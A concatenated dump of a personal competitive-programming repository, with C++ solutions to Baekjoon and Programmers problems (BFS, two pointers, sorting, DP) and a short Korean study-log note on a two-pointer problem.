int ans = 0, target = 0;
while (money) {
target = st.top();
if (money / target == 0) {
st.pop();
continue;
}
ans += money / target;
money %= target;
}
return ans;
}
int main() {
input();
cout << findAns();
return 0;
}<file_sep>/baekjoon/kakao_3번.cpp
#include <iostream>
#include <vector>
#include <utility>
#include <string>
#include <queue>
#include <algorithm>
using namespace std;
bool cmp(const pair<int, int>&i, const pair<int, int>&j)
{
return i.first > j.first;
}
vector<int> solution(int N, vector<int> coffee_times) {
queue<pair<int, int> > q; // 남은시간 : 번호
vector<pair<int, int> > order; //주문 중인 커피
vector<int> ans;
for (int i = 0; i < coffee_times.size(); i++) {
q.push({ coffee_times[i], i+1 });
}
while (1) {
//주문 비어있으면 넣어줌
if (order.size() < N) {
if (!q.empty()) {
order.push_back(q.front());
q.pop();
continue;
}
}
//내림차순 정렬
sort(order.begin(), order.end(), cmp);
for (int i = 0; i < order.size(); i++) {
order[i].first -= order.back().first; //제일 적은 시간을 모든 커피 시간에 빼줌
}
//주문완료 커피 넣어주기
for (int i = 0; i < order.size(); i++) {
if (order[i].first == 0) {
ans.push_back(order[i].second);
}
}
//뒤에서부터 0인 시간 커피는 주문에서 빼줌
while (1) {
if (!order.empty()) {
if (order.back().first == 0) {
order.pop_back();
continue;
}
break;
}
if (ans.size() == coffee_times.size()) {
return ans;
}
break;
}
}
}
int main() {
vector<int> coff = { 4,2,2,5,3 };
vector<int> coff2 = { 100,1,50,1,1 };
vector<int> a = solution(3, coff);
vector<int> b = solution(1, coff);
for (int var : a) {
cout << var;
}
for (int var : b) {
cout << var;
}
return 0;
}<file_sep>/baekjoon/인구이동(16234).cpp
#include <iostream>
#include <queue>
#include <string.h>
#include <math.h>
using namespace std;
struct area {
int value, group, y, x;
area(int val, int group, int y, int x) {
this->value = val;
this->group = group;
this->y = y;
this->x = x;
}
area() {}
};
queue<area> q;
int N, L, R, ans;
int cnt; //전체 인구이동 회수, 만약 0이라면 while문 종료
area arr[51][51];
bool visited[51][51];
int dy[4] = { -1,1,0,0 };
int dx[4] = { 0,0,-1,1 };
bool isPossibleMove(int cur, int next) {
int diff = abs(cur - next);
return diff >= L && diff <= R;
}
void bfs(area &a) { //주소값으로 받아야 a.group할때, arr에 있는 진짜 값이 변경됨
int areaNum = 1; //현재 이동해야 할 영역 개수
int sum = 0; //연합 인구 합
q.push(a);
a.group = 1;
while (!q.empty()) {
area cur = q.front(); //queue는 reference가 아닌 value 복사이므로, cur의 값을 변경한다고 해당 arr배열 값이 변경되지 않는다
sum += cur.value;
q.pop();
for (int k = 0; k < 4; k++) {
int my = cur.y + dy[k];
int mx = cur.x + dx[k];
if (my < 0 || mx < 0 || my >= N || mx >= N) continue;
if (visited[my][mx] == false && isPossibleMove(cur.value, arr[my][mx].value)) {
visited[my][mx] = true;
arr[my][mx].group = 1;
q.push(arr[my][mx]);
areaNum++;
cnt++;
}
}
}
if (areaNum > 1) {
int updatedValue = sum / areaNum;
for (int i = 0; i < N; i++) {
for (int j = 0; j < N; j++) {
if (arr[i][j].group == 1) {
arr[i][j].value = updatedValue;
arr[i][j].group = 0;
}
}
}
}
else a.group = 0;
}
int main() {
scanf("%d %d %d", &N, &L, &R);
int val;
for (int i = 0; i < N; i++) {
for (int j = 0; j < N; j++) {
scanf("%d", &val);
arr[i][j] = area(val, 0, i, j);
}
}
while (1) {
cnt = 0;
for (int i = 0; i < N; i++) {
for (int j = 0; j < N; j++) {
if (visited[i][j] == false) {
visited[i][j] = true;
bfs(arr[i][j]);
}
}
}
if (cnt == 0) break;
ans++;
memset(visited, false, sizeof(visited));
}
printf("%d", ans);
return 0;
}<file_sep>/baekjoon/그룹 단어 체커(1316).cpp
#include <iostream>
#include <map>
#include <string>
using namespace std;
int N, ans;
string str;
void findAns() {
char beforeValue = ' ';
map <char, bool> m;
bool isGroupWord = true;
for (int i = 0; i < str.size(); i++) {
if (beforeValue == str[i]) continue;
if (m[str[i]]) {
isGroupWord = false;
}
beforeValue = str[i];
m[str[i]] = true;
}
if (isGroupWord) ans++;
}
int main() {
cin >> N;
for (int i = 0; i < N; i++) {
cin >> str;
findAns();
}
cout << ans;
return 0;
}<file_sep>/baekjoon/프로그래머스_구명보트.cpp
#include <string>
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
bool used[50001];
bool cmp(int &a, int &b) {
return a > b;
}
int solution(vector<int> people, int limit) {
int cnt = 0;
int size = people.size();
sort(people.begin(), people.end(), cmp);
//시간초과
/*for (int i = 0; i < size; i++) {
if (!used[i]) {
used[i] = true; cnt++;
int remain = limit - people[i];
for (int j = i + 1; j < size; j++) {
if (people[j] <= remain && !used[j]) {
used[j] = true;
break;
}
}
}
}*/
//투포인터 이용 (1중 for문)
int s = 0, e = people.size() - 1;
while (s <= e) {
if (people[s] + people[e] <= limit) {
s++;
e++;
}
else s++;
cnt++;
}
return cnt;
}<file_sep>/README.md
# 알고리즘 공부
백준 알고리즘 & 삼성 SW Expert Academy
<file_sep>/baekjoon/카드셋트(11507)cpp.cpp
#include <iostream>
#include <string>
#include <unordered_map>
using namespace std;
string str;
unordered_map<char, int> m;
char cardShap[4] = { 'P', 'K', 'H', 'T' };
bool isDuplicate() {
unordered_map<string, bool> check;
string tmp = "";
bool result = false;
for (int i = 0; i < str.size(); i += 3) {
tmp = str.substr(i, 3);
m[str[i]]--;
if (check.count(tmp) && !result) result = true;
else check[tmp] = true;
}
return result;
}
void initCard() {
for (char c : cardShap) m[c] = 13;
}
void findAns() {
initCard();
if (isDuplicate()) {
cout << "GRESKA";
return;
}
for (char c : cardShap) cout << m[c] << ' ';
}
int main() {
cin >> str;
findAns();
return 0;
}<file_sep>/baekjoon/프로그래머스_JadenCase 문자열 만들기.cpp
#include <string>
#include <vector>
#include <iostream>
using namespace std;
string solution(string s) {
string answer = "";
bool isFirstWord = true;
for (char c : s) {
if (c == ' ') {
answer += c;
isFirstWord = true;
continue;
}
if (isFirstWord) {
answer += toupper(c);
isFirstWord = false;
continue;
}
answer += tolower(c);
}
return answer;
}
//공백이 나오고, 그 다음이 문자라면 반드시 대문자(toupper())
//아니라면, 반드시 소문자(tolower())
//단, 공백이 연속해서 나올 수 있는 점을 주의하도록 한다. (공백을 먼저 체크하고, continue를 활용한다.)<file_sep>/baekjoon/안전영역(2468).cpp
#include <iostream>
#include <queue>
#include <string.h>
#include <utility>
using namespace std;
int arr[101][101];
bool visit[101][101];
int dy[4] = { -1,1,0,0 };
int dx[4] = { 0,0,-1,1 };
int N;
int range, height = 0;
queue<pair<int, int> > q;
void input() {
cin >> N;
for (int i = 0; i < N; i++) {
for (int j = 0; j < N; j++) {
cin >> arr[i][j];
if (range < arr[i][j]) {
range = arr[i][j];
}
}
}
}
void bfs(int i, int j) {
q.push({ i,j });
visit[i][j] = true;
while (!q.empty()) {
for (int k = 0; k < 4; k++) {
int ny = q.front().first + dy[k];
int nx = q.front().second + dx[k];
if (ny < 0 || nx < 0 || ny >= N || nx >= N) continue;
if (arr[ny][nx] > height && !visit[ny][nx]) {
q.push({ ny,nx });
visit[ny][nx] = true;
}
}
q.pop();
}
}
int findAns() {
int ans = -2e9;
while (height < range) {
int cnt = 0;
for (int i = 0; i < N; i++) {
for (int j = 0; j < N; j++) {
if (arr[i][j] > height && !visit[i][j]) {
bfs(i, j);
cnt++;
}
}
}
ans = ans < cnt ? cnt : ans;
memset(visit, false, sizeof(visit));
height++;
}
return ans;
}
int main() {
input();
cout << findAns();
return 0;
}<file_sep>/baekjoon/프로그래머스_무지의 먹방 라이브.cpp
#include <string>
#include <vector>
#include <queue>
#include <iostream>
using namespace std;
struct Food {
int idx, amout;
Food(int idx, int amount) {
this->idx = idx;
this->amout = amount;
}
Food() {};
};
queue<Food> q;
int solution(vector<int> food_times, long long k) {
//모두 다 먹을 수 있는 경우 -1리턴
long long sum = 0;
for (int i = 0; i < food_times.size(); i++) {
sum += food_times[i];
q.push(Food(i + 1, food_times[i]));
}
if (sum <= k) return -1;
long long mok = 0, rm = 0;
int qSize = 0;
while (1) {
qSize = q.size();
mok = k / qSize;
rm = k % qSize;
if (mok == 0) {
if (rm == 0) return q.front().idx;
while (rm != 0) {
q.pop();
rm--;
}
return q.front().idx;
}
for (int i = 0; i < qSize; i++) {
if (q.front().amout - mok < 0) {
rm += mok - q.front().amout;
q.pop();
}
else if (q.front().amout - mok == 0) {
q.pop();
}
else {
q.front().amout -= mok;
q.push(q.front());
q.pop();
}
}
k = rm;
}
}
int main() {
vector<int> food = { 3,1,2 };
cout << solution(food, 5);
return 0;
}<file_sep>/baekjoon/프로그래머스_땅따먹기.cpp
#include <iostream>
#include <vector>
using namespace std;
int dp[100001][4];
int findMax(int line[4], int cur) {
int mx = -2e9;
for (int i = 0; i < 4; i++) {
if (i == cur) continue;
if (mx < line[i]) mx = line[i];
}
return mx;
}
int solution(vector<vector<int> > land) {
int answer = 0;
for (int i = 0; i < 4; i++) dp[0][i] = land[0][i]; //첫 행 초기화
for (int i = 1; i < land.size(); i++) {
for (int j = 0; j < 4; j++) {
dp[i][j] = findMax(dp[i - 1], j) + land[i][j];
}
}
return findMax(dp[land.size() - 1], -1);
}
//dp문제로서, 점화식을 세우도록 한다.
//먼저 dp[i][j]는 i행j번째 까지 최대값을 의미하도록 이차원 배열로 정의했다. 즉, dp[i]는 i번째 행 까지의 최대값 배열이 된다.
//점화식은 'dp[i][j] = max(dp[i-1][0], dp[i-1][1] ..) + land[i][j]' 로 만들었다.
//이때 주의할점은, 이웃한 행에 대해서 같은 열은 제외해야 하므로 점화식의 max인자로 j번째 최대값인 dp[i][j]는 제외하도록 한다.
//범위 내의 dp배열을 다 구한후, dp배열의 마지막 행에서 가장 큰 열의 값이 구하고자 하는 최대값이 된다.<file_sep>/baekjoon/행복한지 슬픈지(10769).cpp
#include <iostream>
#include <string>
#define SMILE ":-)"
#define SAD ":-("
using namespace std;
string s;
int sm, sd;
string findAns() {
string smile = s, sad = s;
while (smile.find(SMILE) != string::npos) {
smile = smile.substr(smile.find(SMILE) + 3);
sm++;
}
while (sad.find(SAD) != string::npos) {
sad = sad.substr(sad.find(SAD) + 3);
sd++;
}
if (!sm && !sd) return "none";
if (sm == sd) return "unsure";
return sm > sd ? "happy" : "sad";
}
int main() {
getline(cin, s);
cout << findAns();
return 0;
}<file_sep>/baekjoon/수 정렬하기3(10989).cpp
#include <iostream>
#include <algorithm>
using namespace std;
int num[10001];
int N;
int input;
int maxValue = -2e9;
int main() {
cin >> N;
for (int i = 1; i <= N; i++) {
scanf("%d", &input);
maxValue = maxValue < input ? input : maxValue;
num[input]++;
}
for (int i = 1; i <= maxValue; i++) {
while (num[i] > 0) {
printf("%d\n", i);
num[i]--;
}
}
return 0;
}
/////////////////////////////////메모리 초과 why??////////////////////////////////
//#include <iostream>
//#include <map>
//using namespace std;
//int N;
//int input;
//map<int, int> m;
//
//int main() {
// cin >> N;
// for (int i = 1; i <= N; i++) {
// cin >> input;
// m[input]++;
// }
// map<int, int>::iterator iter;
// for (iter = m.begin(); iter != m.end(); iter++) {
// while (iter->second>0) {
// cout << iter->first << '\n';
// iter->second--;
// }
// }
// return 0;
//}<file_sep>/baekjoon/투표(10040).cpp
#include <iostream>
#include <algorithm>
#define MAX 1001
using namespace std;
int n, m;
int cost[MAX], vote[MAX];
void initCost() {
int input = 0;
for (int i = 1; i <= n; i++) {
scanf("%d", &input);
cost[i] = input;
}
}
int findAns() {
int input = 0, ans = 0;
for (int i = 0; i < m; i++) {
scanf("%d", &input);
for (int j = 1; j <= n; j++) {
if (cost[j] <= input) {
vote[j]++;
break;
}
}
}
int mx = -2e9;
for (int i = 1; i <= n; i++) {
if (mx < vote[i]) {
mx = vote[i];
ans = i;
}
}
return ans;
}
int main() {
scanf("%d %d", &n, &m);
initCost();
printf("%d", findAns());
return 0;
}<file_sep>/baekjoon/프로그래머스_가장 먼 노드.cpp
#include <vector>
#include <queue>
#include <algorithm>
using namespace std;
vector<int> arr[20001];
int dist[20001];
bool visit[20001];
void findAns(int n) {
queue<int> q;
q.push(1);
visit[1] = true;
while (!q.empty()) {
int cur = q.front();
q.pop();
for (int next : arr[cur]) {
if (visit[next] == false) {
visit[next] = true;
dist[next] = dist[cur] + 1;
q.push(next);
}
}
}
sort(dist + 1, dist + n + 1);
}
int solution(int n, vector<vector<int>> edge) {
int answer = 0;
for (int i = 0; i < edge.size(); i++) {
arr[edge[i][0]].push_back(edge[i][1]);
arr[edge[i][1]].push_back(edge[i][0]);
}
findAns(n);
for (int i = n; i >= 1; i--) {
if (dist[i] == dist[n]) answer++;
else break;
}
return answer;
}<file_sep>/baekjoon/상근이의 여행(9372).cpp
#include <iostream>
#include <queue>
#include <string.h>
using namespace std;
int tc, N, M;
int city[1001][1001];
bool visit[1001];
int bfs(int start) {
queue<int> q;
int ans = 0;
q.push(start);
visit[start] = true;
while (!q.empty()) {
int cur = q.front();
q.pop();
for (int i = 1; i <= N; i++) {
if (city[cur][i] == 1 && visit[i] == false) {
q.push(i);
visit[i] = true;
ans++;
}
}
}
return ans;
}
void init() {
memset(city, 0, sizeof(city));
memset(visit, false, sizeof(visit));
}
int main() {
scanf("%d", &tc);
int x, y;
for (int t = 1; t <= tc; t++) {
scanf("%d %d", &N, &M);
for (int i = 0; i < M; i++) {
scanf("%d %d", &x, &y);
city[x][y] = city[y][x] = 1;
}
printf("%d\n", bfs(x));
init();
}
return 0;
}<file_sep>/baekjoon/시험감독(13458).cpp
#include <iostream>
typedef long long ll;
using namespace std;
int N, B, C;
int arr[1000001];
ll ans;
void findAns() {
for (int i = 0; i < N; i++) {
arr[i] -= B;
ans++;
}
for (int i = 0; i < N; i++) {
if (arr[i] <= 0) continue;
if (arr[i] % C != 0) {
ans += arr[i] / C + 1;
continue;
}
ans += arr[i] / C;
}
}
int main() {
scanf("%d", &N);
for (int i = 0; i < N; i++) {
scanf("%d", &arr[i]);
}
scanf("%d %d", &B, &C);
findAns();
printf("%lld", ans);
return 0;
}<file_sep>/baekjoon/국영수(10825).cpp
#include <iostream>
#include <string>
#include <algorithm>
using namespace std;
struct Student {
string name;
int kr, en, mt;
Student(string name, int kr, int en, int mt) {
this->name = name;
this->kr = kr;
this->en = en;
this->mt = mt;
}
Student() {}
};
bool cmp(Student &s1, Student &s2) {
if (s1.kr == s2.kr) {
if (s1.en == s2.en) {
if (s1.mt == s2.mt) return s1.name < s2.name;
else return s1.mt > s2.mt;
}
else return s1.en < s2.en;
}
else return s1.kr > s2.kr;
}
Student st[100001];
int N;
int main() {
ios_base::sync_with_stdio(false);
cin.tie(0);
cin >> N;
string s;
int a, b, c;
for (int i = 0; i < N; i++) {
cin >> s;
cin >> a >> b >> c;
st[i] = Student(s, a, b, c);
}
sort(st, st + N, cmp);
for (int i = 0; i < N; i++) {
cout << st[i].name << '\n';
}
return 0;
}<file_sep>/TIL/2019-03-08(수 고르기_2230).md
# [수 고르기(2230번)](https://www.acmicpc.net/problem/2230)
## 문제
**N(1≤N≤100,000)개의 수로 이루어진 수열 A[1], A[2], …, A[N]이 있다. 이 수열에서 두 수를 골랐을 때(같은 수일 수도 있다), 그 차이가 M 이상이면서 제일 작은 경우를 구하는 프로그램을 작성하시오.**
**예를 들어 수열이 {1, 2, 3, 4, 5}라고 하자. 만약 M=3일 경우, 1 4, 1 5, 2 5를 골랐을 때 그 차이가 M 이상이 된다. 이 중에서 차이가 가장 작은 경우는 1 4나 2 5를 골랐을 때의 3이 된다.**
## 입력
**첫째 줄에 두 정수 N, M(0≤M≤2,000,000,000)이 주어진다. 다음 N개의 줄에는 차례로 A[1], A[2], …, A[N]이 주어진다. 각각의 A[i]는 0 ≤ |A[i]| ≤ 1,000,000,000을 만족한다**
## 풀이
정렬과 투포인터를 이용하여 풀 수 있는 문제이다.
정렬 O(nlogn), 투포인터 탐색 O(n)의 시간복잡도를 가지므로, 총 O(nlogn)의 시간이 걸린다. N의 범위가 10만이므로, 시간내에 해결 가능.
투포인터는, 1차원 배열에서 각자 다른 원소를 가리키는 2개의 포인터를 조작하며 문제를 해결해 나가는 알고리즘이다.
(투포인터를 활용한 대표 문제 : [부분 합(1806번)](https://www.acmicpc.net/problem/1806))
## [소스코드](https://github.com/foreverever/baekjoon/blob/master/baekjoon/%EC%88%98%20%EA%B3%A0%EB%A5%B4%EA%B8%B0(2230).cpp)
## 부족한 부분
처음에는 단순히 하나하나의 수에 대해 나를 제외한 다른 모든 수의 차이를 구하는 방식을 생각했다.
근데 N의 범위가 10만이니 N^2의 시간복잡도로는 당연히 풀 수가 없다 ㅎㅎ
그래서 2번째로 생각한 것은 배열의 원소 각각에 대해 M만큼 (없으면 1씩 증가하면서) 차이가 나는 원소가 존재하는지 판별하고자 했다.
이것은 맵을 이용하면 된다. key값을 해당 원소로 저장하고, value는 존재유무를 표현하는 bool타입으로 사용한다. M만큼 차이의 key값이 있는지 찾으면 되므로, 간단하게 해결될 거라 믿었다. (아니면 배열의 인덱스자체를 원소로 두고, 배열값을 bool타입으로 존재유무를 저장해 놓아도 된다.)
그러나, 정답이 M이상의 값을 가질 수 있기 때문에 M보다 훨씬 큰 값을 가질 경우, 시간복잡도가 매우 커지게 된다. (M의 범위가 20억인데 O(N*M)이므로 최악의 경우 정말 최악이네 ㄷㄷ )
항상 시간 복잡도에 대한 고민을 할 필요가 있음을 느낀다.
## 내일 할 일
- 삼성 알고리즘 1문제
- 이력서 준비
- 웹 공부<file_sep>/baekjoon/덩치(7568).cpp
//#include <iostream>
//#include <utility>
//#include <vector>
//using namespace std;
//
//int N;
//vector<pair<pair<int, int>, int > > v;
//
//int main() {
// cin >> N;
// int y, x;
// for (int i = 0; i < N; i++) {
// cin >> y >> x;
// v.push_back(make_pair(make_pair(y, x), 1));
// }
// //asnwer
// for (int i = 0; i < N; i++) {
// for (int j = 0; j < N; j++) {
// if (i == j) {
// continue;
// }
// //i번째 덩치가 더 작은 경우
// if (v[i].first.first < v[j].first.first && v[i].first.second < v[j].first.second) {
// v[i].second++;
// }
// }
// }
// for (int i = 0; i < v.size(); i++) {
// cout << v[i].second << ' ';
// }
// return 0;
//}<file_sep>/baekjoon/윷놀이(2490).cpp
#include <iostream>
#include <vector>
using namespace std;
int arr[3][4];
vector<char> ans;
vector<int> input;
void findAns() {
int sum = 0;
for (int i = 0; i < input.size(); i++) {
if (input[i]) {
sum++;
}
}
//¸ð
if (sum == 4) {
ans.push_back('E');
return;
}
if (sum == 3) {
ans.push_back('A');
return;
}
if (sum == 2) {
ans.push_back('B');
return;
}
if (sum == 1) {
ans.push_back('C');
return;
}
//À·
if (sum == 0) {
ans.push_back('D');
return;
}
}
int main() {
int n;
for (int i = 0; i < 3; i++) {
for (int j = 0; j < 4; j++) {
cin >> n;
input.push_back(n);
}
findAns();
input.clear();
}
for (int i = 0; i < ans.size(); i++) {
cout << ans[i] << '\n';
}
ans.clear();
return 0;
}<file_sep>/baekjoon/나이순 정렬(10814).cpp
////#include <iostream>
////#include <utility>
////#include <algorithm>
////#include <string>
////#include <vector>
////using namespace std;
////
////int n;
////int age;
////string str;
////vector <pair<int, string> > v;
////pair<int, string> p;
////
////bool compare(const pair<int, string>&i, const pair<int, string>&j)
////{
//// if (i.first == j.first)
//// return 0;
//// return i.first < j.first;
////}
////
////int main() {
//// cin >> n;
//// for (int i = 1; i <= n; i++) {
//// cin >> age >> str;
//// v.push_back(make_pair(age, str));
//// }
//// stable_sort(v.begin(), v.end(), compare);
////
//// for (int i = 0; i < n; i++) {
//// cout << v[i].first << ' ' << v[i].second << '\n';
//// }
//// return 0;
////}
//
//
/////////////////////////////////////////// 84ms -> ios_base::sync_with_stdio(false), cin.tie(0) : 48ms
#include <iostream>
#include <string>
#include <algorithm>
using namespace std;
int n;
struct Person {
int age, idx;
string name;
};
Person p[100001];
bool cmp(Person &p1, Person &p2) {
if (p1.age == p2.age) return p1.idx < p2.idx;
return p1.age < p2.age;
}
int main() {
ios_base::sync_with_stdio(false);
cin.tie(0);
cin >> n;
for (int i = 0; i < n; i++) {
cin >> p[i].age >> p[i].name;
p[i].idx = i;
}
sort(p, p + n, cmp);
for (int i = 0; i < n; i++) {
cout << p[i].age << ' ' << p[i].name << '\n';
}
return 0;
}<file_sep>/baekjoon/Move Zeroes(283).cpp
//Given an array nums, write a function to move all 0's to the end of it
//while maintaining the relative order of the non-zero elements.
//
//Example:
//
//Input: [0, 1, 0, 3, 12]
// Output : [1, 3, 12, 0, 0]
// Note :
//
// You must do this *in - place* without making a copy of the array.
// Minimize the total number of operations.
#include <vector>
#include <queue>
using namespace std;
class Solution {
public:
void moveZeroes(vector<int>& nums) {
queue<int> q;
for (int val : nums) {
if (val != 0) q.push(val);
}
int nonZero = q.size();
while (!q.empty()) {
nums[nonZero - q.size()] = q.front();
q.pop();
}
for (int i = nonZero; i < nums.size(); i++) nums[i] = 0;
}
};<file_sep>/baekjoon/나무조각(2947).cpp
#include <iostream>
#include <algorithm>
using namespace std;
int arr[5];
void input() {
for (int i = 0; i < 5; i++) {
cin >> arr[i];
}
}
void print() {
for (int i = 0; i < 5; i++) {
cout << arr[i] << ' ';
}
cout << '\n';
}
void findAns() {
for (int i = 1; i < 5; i++) {
for (int j = 0; j < 5 - i; j++) {
if (arr[j] > arr[j + 1]) {
swap(arr[j], arr[j + 1]);
print();
}
}
}
}
int main() {
input();
findAns();
return 0;
}<file_sep>/baekjoon/프로그래머스_다리를 지나는 트럭.cpp
#include <string>
#include <vector>
#include <queue>
using namespace std;
queue<int> q;
int solution(int bridge_length, int weight, vector<int> truck_weights) {
int time = 0, w = 0;
for (int truck : truck_weights) {
while (1) {
if (q.empty()) {
w += truck;
q.push(truck);
time++;
break;
}
if (q.size() == bridge_length) {
w -= q.front();
q.pop();
}
else {
if (w + truck <= weight) {
w += truck;
q.push(truck);
time++;
break;
}
else {
q.push(0); //다리위의 트럭이 앞으로 이동함을 의미
time++;
}
}
}
}
return time + bridge_length; //마지막 트럭이 탑승할때 시간 + 해당 트럭이 다리를 모두 지나가는 시간(==다리 길이)
}<file_sep>/baekjoon/프로그래머스_실패율.cpp
#include <string>
#include <vector>
#include <iostream>
#include <algorithm>
using namespace std;
struct Stage {
int num, total = 0, fail = 0;
double avg = 0;
};
bool cmp(Stage &first, Stage &second) {
if (first.avg == second.avg) {
return first.num < second.num;
}
return first.avg > second.avg;
}
Stage sts[502];
vector<int> solution(int N, vector<int> stages) {
vector<int> answer;
for (int i = 1; i <= N; i++) {
sts[i].num = i;
}
for (int i = 0; i < stages.size(); i++) {
//각 사람마다 1stage부터 그 사람이 현재 있는 stage까지 stage별 도전 횟수, 실패 횟수 갱신
for (int lev = 1; lev <= stages[i]; lev++) {
if (lev != stages[i]) sts[lev].total++;
else {
sts[lev].total++; sts[lev].fail++;
}
}
}
//실패율 구하기
for (int i = 1; i <= N; i++) {
if (sts[i].total == 0) continue;
sts[i].avg = (double)sts[i].fail / sts[i].total;
}
sort(sts + 1, sts + N + 1, cmp);
for (int i = 1; i <= N; i++) answer.push_back(sts[i].num);
return answer;
}
int main() {
vector<int> v;
v.push_back(2);
v.push_back(1);
v.push_back(2);
v.push_back(6);
v.push_back(2);
v.push_back(4);
v.push_back(3);
v.push_back(3);
solution(5, v);
return 0;
}<file_sep>/baekjoon/앵그리 창영(3034).cpp
#include <iostream>
#include <math.h>
#define DA "DA"
#define NE "NE"
using namespace std;
int N, h, v;
void findAns() {
int mxLen = sqrt(h*h + v * v);
int input;
for (int i = 0; i < N; i++) {
cin >> input;
if (input <= mxLen) cout << DA << '\n';
else cout << NE << '\n';
}
}
int main() {
cin >> N >> h >> v;
findAns();
return 0;
}<file_sep>/baekjoon/라디오(3135).cpp
#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
int A, B, N;
int findAns(vector<int> &v) {
int mn = 2e9;
for (int val : v) {
int diff = abs(B - val);
mn = diff < mn ? diff : mn;
}
mn++;
return mn < abs(A - B) ? mn : abs(A - B);
}
int main() {
int input;
vector<int> v;
cin >> A >> B >> N;
for (int i = 0; i < N; i++) {
cin >> input;
v.push_back(input);
}
cout << findAns(v);
return 0;
}<file_sep>/baekjoon/수들의 합 2(2003) .cpp
#include <iostream>
#include <vector>
using namespace std;
vector<int> v;
int N, M;
int findAns() {
int s = 1, e = 1, sum = 0, ans = 0;
while (1) {
if (sum == M) { //합이 M과 같으면 ans 1 증가 및 체크범위 내 첫번째 요소 빼주기
ans++;
sum -= v[s];
s++;
}
else if (sum > M) { //sum이 M보다 크면 체크범위 내 첫번째 요소 빼주고 continue
sum -= v[s];
s++;
continue;
}
if (e <= N) { //e 전체범위보다 작거나 같을때, 해당 위치의 요소를 더해 줄 수 있다
sum += v[e];
e++;
}
else if (sum < M) return ans; //e가 전체 범위를 벗어나고, sum이 찾고자 하는 M보다 작으면 더 이상 답은 존재하지 않으므로 함수 종료
}
}
int main() {
scanf("%d %d", &N, &M);
v.resize(N + 1);
int x = 0;
for (int i = 1; i <= N; i++) {
scanf("%d", &x);
v[i] = x;
}
printf("%d", findAns());
return 0;
}<file_sep>/baekjoon/날짜 계산(1476).cpp
#include <iostream>
using namespace std;
int E, S, M;
void calc(int &p, int range) {
if (p + 1 > range) p = 1;
else p++;
}
int findAns() {
int cnt = 1, e = 1, s = 1, m = 1;
while (1) {
if (E == e && S == s && M == m) return cnt;
calc(e, 15);
calc(s, 28);
calc(m, 19);
cnt++;
}
}
int main() {
cin >> E >> S >> M;
cout << findAns();
return 0;
}<file_sep>/baekjoon/하얀칸(1100).cpp
#include <iostream>
#include <string>
using namespace std;
string str;
int findAns() {
int ans = 0;
for (int i = 0; i < 8; i++) {
cin >> str;
if (i % 2 == 0) {
for (int j = 0; j < 8; j++) {
if (j % 2 == 0 && str[j] == 'F') {
ans++;
}
}
}
else {
for (int j = 0; j < 8; j++) {
if (j % 2 != 0 && str[j] == 'F') {
ans++;
}
}
}
}
return ans;
}
int main() {
cout << findAns();
return 0;
}
////////////////////////////////for문안에 조건 넣어서////////////////////////
//#include<iostream>
//#include<string>
//
//using namespace std;
//
//int main() {
// string line;
// int answer = 0;
//
// for (int i = 0; i < 8; i++) {
// cin >> line;
//
// for (int j = i % 2 == 0 ? 0 : 1; j < 8; j += 2) {
// if (line[j] == 'F')
// answer++;
// }
// }
// cout << answer;
//}<file_sep>/baekjoon/미로탐색(2178).cpp
//#include <iostream>
//#include <queue>
//#include <utility>
//#define MAX 101
//
//using namespace std;
//
//int map[MAX][MAX]; //맵
//int distMap[MAX][MAX]; //가중치 배열
//bool checkMap[MAX][MAX]; //방문 체크 배열(false로 초기화)
//int n, m; //배열 범위 (n:세로, m:가로)
//int dy[4] = { -1,1,0,0 };
//int dx[4] = { 0,0,-1,1 };
//
////범위체크 함수
//bool isNotInsideMap(int i, int j) {
// if (i < 0 || j < 0 || i >= n || j >= m) {
// return true;
// }
// return false;
//}
//
////BFS함수
//void bfs(int i, int j) {
// queue <pair<int, int> > q;
// q.push(make_pair(i, j));
// checkMap[i][j] = true; //방문 표시
// distMap[i][j] += 1;
// //queue가 비어있을 때 까지 탐색
// while (!q.empty()) {
// //현재위치에서 상하좌우 탐색
// for (int k = 0; k < 4; k++) {
// int y = q.front().first + dy[k];
// int x = q.front().second + dx[k];
// if (isNotInsideMap(y, x)) continue;
// if (map[y][x] == 1 && checkMap[y][x] == false) {
// q.push(make_pair(y, x));
// checkMap[y][x] = true;
// distMap[y][x] = distMap[q.front().first][q.front().second] + 1;
// }
// }
// q.pop();
// }
//}
//
////미로탐색 출발점에서 시작
//int start() {
// if (map[0][0] == 1 && checkMap[0][0] == false) {
// bfs(0, 0);
// return distMap[n - 1][m - 1];
// }
//}
//
//int main() {
// cin >> n >> m;
// //맵 정보 입력
// for (int i = 0; i < n; i++) {
// for (int j = 0; j < m; j++) {
// scanf("%1d", &map[i][j]);
// }
// }
// int ans = start();
// cout << ans;
// return 0;
//}
<file_sep>/baekjoon/choising_3.cpp
#include <iostream>
#include <queue>
#include <utility>
#include <set>
using namespace std;
int solution(vector<int> A, vector<int> B, int M, int X, int Y) {
int personNumber = 0, weight = 0, ans = 0;
queue<pair<int, int> > q;
for (int i = 0; i < A.size(); i++) {
q.push({ A[i],B[i] });
}
set<int> s;
while (!q.empty()) {
if (personNumber <= X && weight+q.front().first <= Y) {
personNumber++;
weight += q.front().first;
s.insert(q.front().second);
q.pop();
}
else {
ans += s.size() + 1;
s.clear();
personNumber = 0;
weight = 0;
}
}
return ans+s.size()+1;
}
int main() {
vector<int> A = { 60, 80, 40, 40 };
vector<int> B = { 1, 2, 1, 2 };
cout << solution(A, B, 3, 2, 100);
return 0;
}<file_sep>/baekjoon/삼성_무선 충전(5644).cpp
//#include <iostream>
//#include <vector>
//#include <utility>
//#include <math.h>
//#include <algorithm>
//using namespace std;
//int dy[5] = { 0,-1,0, 1,0 };
//int dx[5] = { 0,0,1,0,-1 };
//int T;
//int M, A;
//int ans;
//int sum = -2e9;
//vector<int> aMove, bMove; // a,b 이동방향
//pair<int, int> aLocation, bLocation;
//struct BC
//{
// int x, y;
// int range;
// int power;
// bool Aused;
// bool Bused;
// bool check;
//};
//vector<BC> bc; //bc
//
//void input() {
// cin >> M >> A;
// aMove.clear();
// bMove.clear();
// //처음 위치도 체크하므로 '이동하지않음'을 맨 처음에 넣어준다.
// aMove.push_back(0);
// bMove.push_back(0);
// for (int i = 0; i < M; i++) {
// int input;
// cin >> input;
// aMove.push_back(input);
// }
// for (int i = 0; i < M; i++) {
// int input;
// cin >> input;
// bMove.push_back(input);
// }
// for (int i = 0; i < A; i++) {
// BC b;
// int x, y, r, p;
// cin >> x >> y >> r >> p;
// b = { x,y,r,p,false,false,false };
// bc.push_back(b);
// }
//}
//
//bool isPossibeConnect(int x, int y, BC bc) {
